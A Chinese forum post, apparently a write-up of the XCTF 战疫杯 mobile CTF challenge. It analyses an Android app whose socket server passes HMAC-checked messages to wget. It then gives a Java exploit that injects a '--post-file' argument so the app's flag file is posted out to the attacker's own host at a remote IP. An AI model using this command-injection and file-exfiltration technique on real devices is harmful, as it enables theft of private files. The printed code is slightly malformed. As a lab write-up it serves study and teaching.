XCTF战疫杯mobile
本帖最后由 alittlehorse 于 2020-3-18 21:36 编辑XCTF战疫杯 mobile题解
首先,将GetFlag.apk拉入android killer中,发现结构很简单,主要函数全在MainActivity中,发现它会在本地生成一个flag文件,里面写着FLAG{the_real_flag_is_in_the_remote_apk},这是一个提示。我们猜测这题需要远程交互。
然后分析程序主要流程:点击按钮调用ServerSocket_thread方法,在8080端口开一个servesocket,接受来自远程地数据,开辟Receive_Thread处理线程。
在Receive_Thread线程中,生成随机数i处理:接收输入流str,checkpayload(str,i)检查输入流,并读取messag中的数据,将数据输入到UI线程。
现在我们定位到了关键方法:checkpayload方法,
发现是对输入流中的message将进行HmacSHA1加密与check中的数据进行比较,如果通过,调用“Wget + message处理后的字符串”。
HmacsSHA1函数如下:
经过查找Wget的用法。我们发现,Wget 有post-file的选项,可以将远程服务器上的文件post到本地。
现在本地程序分析完毕。我们发现GetFlag这个app是一个服务端,应该在远程运行,端口号是8080,其在/data/data/com.xuanxuan.getflag/files/位置中生成了一个flag文件。
那我们去哪里找IP信息呢,在Apk文件的结构中,assert是用于放应用程序的原始文件的,例如字体或者音乐等,程序运行的时候,可以通过API来获取这些信息。
具体结构见:https://ctf-wiki.github.io/ctf-wiki/android/basic_develop/basic_develop-zh/
那我们找一下assert文件果然发现的secret.txt文件
将其base64解码出来是:The%20IP%20of%20the%20remote%20phone%20is%20212.64.66.177,得到IP地址212.64.66.177。 那么我们现在只要构造消息,发送给212.64.66.177:8080,将远程的flag文件post到本地就可以得到flag惹。
package getflag;
import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.math.BigInteger;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Random;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
public class getflag {
public static void main(String[] args) {
String payload = "--post-file /data/data/com.xuanxuan.getflag/files/flag {这里填你自己的地址和端口}";
String json = "{\"message\":\""+payload+"\",\"check\":\"";
Socket socket =new Socket("212.64.66.177",8080);
OutputStream os=socket.getOutputStream();
PrintWriter pw=new PrintWriter(os);
InputStream is=socket.getInputStream();
BufferedReader br=new BufferedReader(new InputStreamReader(is));
String random = br.readLine();
json=json+new BigInteger(1, HmacSHA1Encrypt(payload, random.replace("\n", ""))).toString(16)+"\"}";
os.write(json.getBytes());
}
}
public static byte[] HmacSHA1Encrypt(String str, String str2) throws Exception {
SecretKeySpec secretKeySpec = new SecretKeySpec(str2.getBytes("UTF-8"), "HmacSHA1");
Mac mac = Mac.getInstance("HmacSHA1");
mac.init(secretKeySpec);
return mac.doFinal(str.getBytes("UTF-8"));
}
}
运行exp,就可以得到flag了,但是现在官方远程已经关了
{:300_957:}
GetFlag.apk文件:
链接:https://pan.baidu.com/s/1KvUQW88HPtWw6e1SysHdxA
提取码:kkfw 向大佬低头 大佬的思路很棒
页:
[1]